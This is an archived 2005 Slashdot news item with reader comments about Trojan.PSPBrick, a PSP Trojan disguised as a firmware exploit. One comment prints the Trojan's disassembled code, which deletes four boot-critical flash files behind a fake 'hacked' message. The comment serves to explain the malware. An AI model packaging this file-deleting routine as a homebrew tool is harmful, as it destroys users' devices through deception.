Forgot your password?
typodupeerror
Sony Portables (Games)

First PSP Trojan Reported 76

Posted by Zonk
from the watch-what-you-click dept.
Evangelion writes "PSP hackers beware! According to 1up.com today, Symantec has identified the first PSP Trojan in the wild. Known as Trojan.PSPBrick, it turns the PSP into, well, a brick. With buttons. Users have to download and install it themselves, and as a result it effectively breaks the PSP."
This discussion has been archived. No new comments can be posted.

First PSP Trojan Reported

Comments Filter:
  • by snuf23 (182335) on Thursday October 06, 2005 @03:51PM (#13733494)
    It's not a virus. It is a Trojan horse [webopedia.com]. A program which claims to be something beneficial but in reality just messes your computer up.

    "Don't download and install it."

    I'm sure if it's listed as "PSP Trojan Horse - turn your PSP into a useless brick" - nobody would download it.
  • by SpottedKuh (855161) on Thursday October 06, 2005 @03:52PM (#13733507)
    How is this a Trojan? Your answer:

    "In computer security technology, a virus is a self-replicating program...", from http://en.wikipedia.org/wiki/Computer_Virus [wikipedia.org].

    "In the context of computer software, a Trojan horse is a malicious program that is disguised as legitimate software.", from http://en.wikipedia.org/wiki/Trojan_horse_(computi ng) [wikipedia.org].

    In this case, the PSP malware is not self-replicating, and it is something you have to download and install on your own (which claims to let you run your own games on the PSP). Therefore, it is a Trojan rather than a virus. A destructive one, yes, but still just a Trojan.
  • by quaker5567 (841639) on Friday October 07, 2005 @05:05AM (#13737857)
    This is the disassembled code generated by Skylark from TOC2RTA.COM [toc2rta.com]

    As you can see, 4 files are deleted from the flash memory, then a few lines of text are displayed. Without these files, the PSP cannot boot, so it's bricked.

    _start:
            call main()
            while(1)

    sceIoAssign:
            syscall 0x20a8

    sceIoRemove:
            syscall 0x209e

    main:
            call FillVram(0)
            call Print(1,1,0xFFFFFF,"PSP TEAM 2.0 Exploit Hack the 2.0 firmware")
            call Print(1,2,0xFFFFFF,"Thank's to toc2rta for the 2.0 exploit :) ")
            call sceIoAssign("flash6:", "lflash0:0,0", "flashfat2:", 0, 0, 0)
            call sceIoRemove("flash6:/vsh/etc/index.dat")
            call sceIoRemove("flash6:/kd/loadcore.prx")
            call sceIoRemove("flash6:/kd/loadexec.prx")
            call sceIoRemove("flash6:/kd/init.prx")
            call Print(1,4,0xFFFFFF," Your 2.0 is hacked please reboot ")
            call Print(1,5,0xFFFFFF," Thank you PSP Team the french team")
            call Print(1,6,0xFFFFFF," FuCk yoshihiro and SonyxTeam Looser")

Whenever a system becomes completely defined, some damn fool discovers something which either abolishes the system or expands it beyond recognition.

Working...